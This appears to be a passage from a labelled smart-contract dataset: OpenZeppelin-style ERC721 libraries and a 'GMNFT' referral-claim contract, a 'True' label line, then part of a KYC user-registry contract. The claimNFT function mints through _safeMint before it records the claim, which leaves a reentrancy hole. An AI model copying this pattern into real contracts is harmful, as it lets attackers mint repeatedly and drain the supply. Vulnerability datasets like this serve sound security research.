* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Strings {
/**
* @dev Converts a `uint256` to a `string`.
* via OraclizeAPI - MIT licence
* https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
*/
function fromUint256(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + (temp % 10)));
temp /= 10;
}
return string(buffer);
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, "badge", ".png")) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract GMNFT is ERC721Enumerable, Ownable{
using SafeMath for uint256;
using Strings for uint256;
string internal BaseURI;
mapping(uint256 => string) internal _tokenURIs;
mapping(address => uint256) public referNumber; //指定地址推荐人数
mapping(address => bool) public claimStatus; //指定地址领取NFT的状态
uint256 public next_tokenID;
event ClaimNFT(address _user, uint256 _tokenID, address _referrer);
constructor() ERC721("Gametaverse", "GAMETA") {}
//领取NFT
function claimNFT(address _referrer) public returns(uint256){
require(!claimStatus[msg.sender], "the user already claimed");
require(next_tokenID < 8000, "the NFT claim already finished");
require(msg.sender != _referrer, "the referrer is caller");
uint256 _next_tokenID = next_tokenID;
_safeMint(msg.sender, _next_tokenID);
if (_referrer != address(0)){
referNumber[_referrer] = referNumber[_referrer].add(1);
}
claimStatus[msg.sender] = true;
next_tokenID++;
emit ClaimNFT(msg.sender, _next_tokenID, _referrer);
return _next_tokenID;
}
function getBaseURI() public view returns (string memory) {
return BaseURI;
}
function _baseURI() override internal view virtual returns (string memory) {
return BaseURI;
}
function setbaseURI(string memory _BaseURI) public onlyOwner {
BaseURI = _BaseURI;
}
function setTokenURI(uint256 tokenId, string memory _tokenURI) public onlyOwner{
require(_exists(tokenId),"URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
function tokenURI(uint256 tokenId) override public view returns (string memory) {
require(_exists(tokenId), "URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
// If there is no base URI, return the token URI.
if (bytes(BaseURI).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(BaseURI, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(BaseURI,"?id=", tokenId.fromUint256()));
}
}
|
True
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "./Registry.sol";
import "./interfaces/IUserRegistry.sol";
import "./Claimer.sol";
contract UserRegistry is Registry, IUserRegistry {
uint256 public constant REDEMPTION_ADDRESS_COUNT = 0x100000;
bytes32 public constant IS_BLOCKLISTED = "IS_BLOCKLISTED";
bytes32 public constant KYC_AML_VERIFIED = "KYC_AML_VERIFIED";
bytes32 public constant CAN_BURN = "CAN_BURN";
bytes32 public constant USER_REDEEM_ADDRESS = "USER_REDEEM_ADDRESS";
bytes32 public constant REDEEM_ADDRESS_USER = "REDEEM_ADDRESS_USER";
address public token;
mapping(address => string) private usersId;
mapping(string => address) private usersById;
uint256 private redemptionAddressCount;
uint256 public minBurnBound;
uint256 public maxBurnBound;
struct User {
address account;
string id;
address redeemAddress;
bool blocked;
bool KYC; // solhint-disable-line var-name-mixedcase
bool canBurn;
}
event RegisterNewUser(
address indexed account,
address indexed redeemAddress
);
event UserKycVerified(address indexed account);
event UserKycUnverified(address indexed account);
event EnableRedeemAddress(address indexed account);
event DisableRedeemAddress(address indexed account);
event BlockAccount(address indexed account);
event UnblockAccount(address indexed account);
event MinBurnBound(uint256 minBurn);
event MaxBurnBound(uint256 minBurn);
constructor(
address _token,
uint256 _minBurnBound,
uint256 _maxBurnBound
) public {
require(_minBurnBound <= _maxBurnBound, "min bigger than max");
token = _token;
minBurnBound = _minBurnBound;
maxBurnBound = _maxBurnBound;
}
function setToken(address _token) public onlyOwner {
token = _token;
}
function setMinBurnBound(uint256 _minBurnBound) public onlyOwner {
require(_minBurnBound <= maxBurnBound, "min bigger than max");
minBurnBound = _minBurnBound;
emit MinBurnBound(_minBurnBound);
}
function setMaxBurnBound(uint256 _maxBurnBound) public onlyOwner {
require(minBurnBound <= _maxBurnBound, "min bigger than max");
maxBurnBound = _maxBurnBound;
emit MaxBurnBound(_maxBurnBound);
}
/**
* @dev Adds a new user in the registry.
* Sets {REDEEM_ADDRESS_USER} attribute for redeemAddress as `_account`.
* Sets {USER_REDEEM_ADDRESS} attribute for `_account` as redeemAddress.
*
* Emits a {RegisterNewUser} event.
*
* Requirements:
*
* - `_account` should not be a registered as user.
* - number of redeem address should not be greater than max availables.
*/
function registerNewUser(address _account, string calldata _id)
public
onlyOwner
{
require(!_isUser(_account), "user exist");
require(usersById[_id] == address(0), "id already taken");
redemptionAddressCount++;
require(
REDEMPTION_ADDRESS_COUNT > redemptionAddressCount,
"max allowed users"
);
setAttribute(
address(uint160(uint256(redemptionAddressCount))),
REDEEM_ADDRESS_USER,
uint256(uint160(_account))
);
setAttribute(_account, USER_REDEEM_ADDRESS, redemptionAddressCount);
usersId[_account] = _id;
usersById[_id] = _account;
emit RegisterNewUser(
_account,
address(uint160(uint256(redemptionAddressCount)))
);
}
/**
* @dev Gets user's data.
*
* Requirements:
*
* - the caller should be the owner.
*/
function getUser(address _account)
public
view
onlyOwner
returns (User memory user)
{
user.account = _account;
user.id = usersId[_account];
user.redeemAddress = getRedeemAddress(_account);
user.blocked = _isBlocked(_account);
user.KYC = _isKyced(_account);
user.canBurn =
getAttributeValue(getRedeemAddress(_account), CAN_BURN) == 1;
}
/**
* @dev Gets user by its id.
*
* Requirements:
*
* - the caller should be the owner.
*/
function getUserById(string calldata _id)
public
view
onlyOwner
returns (User memory user)
{
return getUser(usersById[_id]);
}
/**
* @dev Sets user id.
*
* Requirements:
*
* - the caller should be the owner.
* - `_account` should be a registered as user.
* - `_id` should not be taken.
*/
function setUserId(address _account, string calldata _id) public onlyOwner {
require(_isUser(_account), "not a user");
require(usersById[_id] == address(0), "id already taken");
string memory prevId = usersId[_account];
usersId[_account] = _id;
usersById[_id] = _account;
delete usersById[prevId];
}
/**
* @dev Sets user as KYC verified.
*
* Emits a {UserKycVerified} event.
*
* Requirements:
*
* - `_account` should be a registered as user.
*/
function userKycVerified(address _account) public onlyOwner {
require(_isUser(_account), "not a user");
setAttribute(_account, KYC_AML_VERIFIED, 1);
emit UserKycVerified(_account);
}
/**
* @dev Sets user as KYC un-verified.
*
* Emits a {UserKycVerified} event.
*
* Requirements:
*
* - `_account` should be a registered as user.
*/
function userKycUnverified(address _account) public onlyOwner {
require(_isUser(_account), "not a user");
setAttribute(_account, KYC_AML_VERIFIED, 0);
emit UserKycUnverified(_account);
}
/**
* @dev Enables `_account` redeem address to burn.
*
* Emits a {EnableUserRedeemAddress} event.
*
* Requirements:
*
* - `_account` should be a registered as user.
* - `_account` should be KYC verified.
*/
function enableRedeemAddress(address _account) public onlyOwner {
require(_isUser(_account), "not a user");
require(_isKyced(_account), "user has not KYC");
setAttribute(getRedeemAddress(_account), CAN_BURN, 1);
emit EnableRedeemAddress(_account);
}
/**
* @dev Disables `_account` redeem address to burn.
*
* Emits a {DisableRedeemAddress} event.
*
* Requirements:
*
* - `_account` should be a registered as user.
*/
function disableRedeemAddress(address _account) public onlyOwner {
require(_isUser(_account), "not a user");
setAttribute(getRedeemAddress(_account), CAN_BURN, 0);
emit DisableRedeemAddress(_account);
}
/**
* @dev Sets user as KYC verified.
* Enables `_account` redeem address to burn.
*
* Emits a {UserKycVerified} event.
* Emits a {EnableUserRedeemAddress} event.
*
* Requirements:
*
* - `_account` should be a registered as user.
*/
